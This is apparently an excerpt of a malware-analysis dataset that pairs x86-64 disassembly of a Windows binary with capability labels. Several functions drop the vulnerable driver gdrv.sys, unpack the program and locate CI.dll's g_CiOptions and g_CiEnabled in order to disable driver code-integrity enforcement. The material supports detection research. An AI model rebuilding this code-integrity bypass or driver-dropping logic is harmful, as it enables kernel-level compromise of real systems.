joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140098390
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140089880
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140089880
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400984e0
cmp rax, 0xffffffffffffffff
je 0x1400984e0
xor edi, edi
test rbp, rbp
jle 0x14009848b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140088f74
mov rbx, rax
test rax, rax
jne 0x140098418
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140098481
mov edx, 0x8000
mov ecx, r14d
call fcn.140086d54
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14008bac8
cmp eax, 0xffffffff
je 0x140098461
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140098428
mov edx, r15d
mov ecx, r14d
call fcn.140086d54
jmp 0x140098481
cmp byte [rsi + 0x38], dil
je 0x140098478
cmp dword [rsi + 0x34], 5
jne 0x140098478
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140098481
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140089548
jmp 0x1400984f4
jns 0x1400984f4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140089880
cmp rax, 0xffffffffffffffff
jne 0x1400984ac
cmp byte [rsi + 0x30], dil
je 0x1400984f4
mov edi, dword [rsi + 0x2c]
jmp 0x1400984f4
mov ecx, r14d
call fcn.140091908
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400984f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400984f4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400984ed
mov eax, dword [rsi + 0x2c]
jmp 0x1400984f2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140089880
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140054490
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005449d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400544ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140054495
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x1400544c5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400544b2
sub eax, 3
jb 0x1400544df
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140054516
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140054506
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140054504
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400544f3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140054452
jmp 0x14005449d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x28400
mov dl, 0x12
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140054562
cmp rsi, rcx
jae 0x14005456a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140054549
cmp al, 0x8f
ja 0x140054549
cmp byte [rsi - 2], 0xf
je 0x14005454f
sub al, 0xe8
cmp al, 1
ja 0x140054533
cmp rsi, rcx
jae 0x14005456a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140054539
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005456a
lodsb al, byte [rsi]
jmp 0x140054549
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x52000]
mov eax, dword [rdi]
or eax, eax
je 0x1400545d3
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x545e8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140054577
jns 0x1400545ac
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400545b6
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400545cd
mov qword [rbx], rax
add rbx, 8
jmp 0x140054597
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005460d
cmp al, 0xef
ja 0x1400545ff
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400545df
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400545ee
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140054661
sub rsp, 0xffffffffffffff80
jmp 0x14000add0
Function at 0x14003e860
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x4a0
mov rax, qword [0x1400da0c0]
xor rax, rsp
mov qword [rsp + 0x490], rax
xor edx, edx
mov dword [rsp + 0x40], 0x238
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14003e90f
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14003e90f
nop
mov r9, rdi
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r8d, 0x104
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x14003e93b
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x14003e8c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400bb310
mov rbx, qword [rsp + 0x4b8]
add rsp, 0x4a0
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x48]
jmp 0x14003e91a
Function at 0x14003efe0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14003f008
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14003f02e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14003f030
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14003f089
test ecx, ecx
jle 0x14003f069
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14003f089
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14003f089
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14003f0b0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14003f0d2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14003f0e8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003f104
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003f106
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003f142
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14003f1de
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14003f17d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14003f1be
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14003f1de
cmp rbx, rax
ja 0x14003f190
test rbx, rbx
je 0x14003f1de
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14003f650
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400da0c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14003f67d
xor eax, eax
jmp 0x14003f7e9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14003f6b7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14003f6b7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14003f7e9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14003f7dc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14003f6fa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14003f725
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f7e1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003f794
sub eax, 1
je 0x14003f794
cmp eax, 2
jne 0x14003f7dc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f7e1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14003f7c2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14003f7dc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14003f7e1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400bb310
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400403f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400da0c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400404c3
cmp byte [rcx + 0x71], 0
je 0x1400404c3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x1400404bf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140040484
sub eax, 1
je 0x140040488
cmp eax, 2
jne 0x1400404bf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400bb310
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400404b6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400404bf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14004046c
xor al, al
jmp 0x14004046c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400bb310
add rsp, 0x60
pop rbx
ret

Function at 0x140041260
Capabilities:
Delete file
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1400da0c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x1400412ef
cmp rdi, 0xffffffffffffffff
je 0x140041301
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x6650
lea rdx, [0x1400da2c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140041301
call fcn.140041e50
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400cee94]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400bb310
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x140041390
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov r11, rsp
push rbp
push r14
sub rsp, 0x168
mov rax, qword [0x1400da0c0]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [r11 - 0x28], 0
mov rbp, rcx
lea r9, [r11 - 0x28]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14004153f
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x150]
mov qword [rsp + 0x198], rsi
add r8, r8
mov qword [rsp + 0x160], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x150]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test eax, eax
js 0x140041511
mov qword [rsp + 0x190], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140041509
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rcx, rcx, 0x128
mov edx, 2
add rcx, 8
add rcx, rdi
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140041470
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rbp
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400414ff
inc ebx
cmp ebx, dword [rdi]
jb 0x140041452
jmp 0x140041509
mov rax, qword [rsp + 0x30]
xor esi, esi
mov qword [r14], rax
mov rbx, qword [rsp + 0x190]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x160]
mov eax, esi
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.1400bb310
add rsp, 0x168
pop r14
pop rbp
ret
Function at 0x140041560
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.1400423f0
mov rcx, rsi
mov rdi, rax
call fcn.1400423f0
mov r9, rax
test rax, rax
je 0x14004168d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x140041622
lea r11, [0x1400ceec8]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x1400415e2
test dl, dl
jne 0x14004161e
inc ecx
inc rax
cmp ecx, 0x10
jb 0x1400415d5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x1400415d0
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140041610
jmp 0x14004167c
xor cl, cl
jmp 0x1400415ee
lea r11, [0x1400ceeb8]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140041642
test dl, dl
jne 0x140041694
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140041635
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140041630
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140041670
test r10d, r10d
jne 0x140041698
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.14003e4e0
xor eax, eax
jmp 0x14004177b
xor cl, cl
jmp 0x14004164e
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.14003e4e0
lea r11, [0x1400ceea8]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x1400416f2
test dl, dl
jne 0x140041741
inc ecx
inc rax
cmp ecx, 0xc
jb 0x1400416e5
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x1400416e0
nop dword [rax]
inc bx
movzx edx, bx
cmp byte [rdx + r11], 0
jne 0x140041720
test eax, eax
jne 0x140041745
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.14003e4e0
xor eax, eax
jmp 0x14004177b
xor cl, cl
jmp 0x1400416fe
lea rax, [rdx + r10]
movsxd r8, dword [rax + rdi]
lea rcx, [r10 + 4]
lea rbx, [rdx + r8]
mov edx, r10d
add rbx, rcx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
add rbx, rdi
mov r9, rbx
call fcn.14003e4e0
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400417a0
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x1400da0c0]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x1400cf028]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x1400cf020]
mov rdi, rcx
mov dword [rsp + 0x60], eax
mov esi, 0x23f0
movzx eax, byte [0x1400cf02c]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400cf034]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400cf036]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], si
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.140041330
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.1400421c0
mov ebx, eax
test eax, eax
jns 0x140041899
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.14003e4e0
jmp 0x1400419d0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x140041902
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140041390
mov ebx, eax
test eax, eax
jns 0x1400418d7
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.14003e4e0
jmp 0x1400419be
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.140041560
test eax, eax
je 0x1400419b9
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rdi], rax
jmp 0x1400419be
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140041390
mov ebx, eax
test eax, eax
js 0x1400419be
mov r11, qword [rsp + 0x48]
xor r10d, r10d
xor r9d, r9d
test r11, r11
je 0x1400419ad
mov rbx, qword [rsp + 0x40]
lea rsi, [0x1400ceedc]
nop dword [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rsi
mov rax, rsi
add r8, rbx
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x14004195d
test cl, cl
jne 0x1400419a9
inc edx
inc rax
cmp edx, 4
jb 0x140041950
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x140041940
test rax, rax
je 0x1400419ad
movsxd rcx, dword [rax + rbx + 4]
mov rbx, qword [rsp + 0x30]
add rcx, rax
add rbx, 8
add rbx, rcx
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.14003e4e0
mov qword [rdi], rbx
xor ebx, ebx
jmp 0x1400419be
xor cl, cl
jmp 0x140041969
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.14003e4e0
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400bb310
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret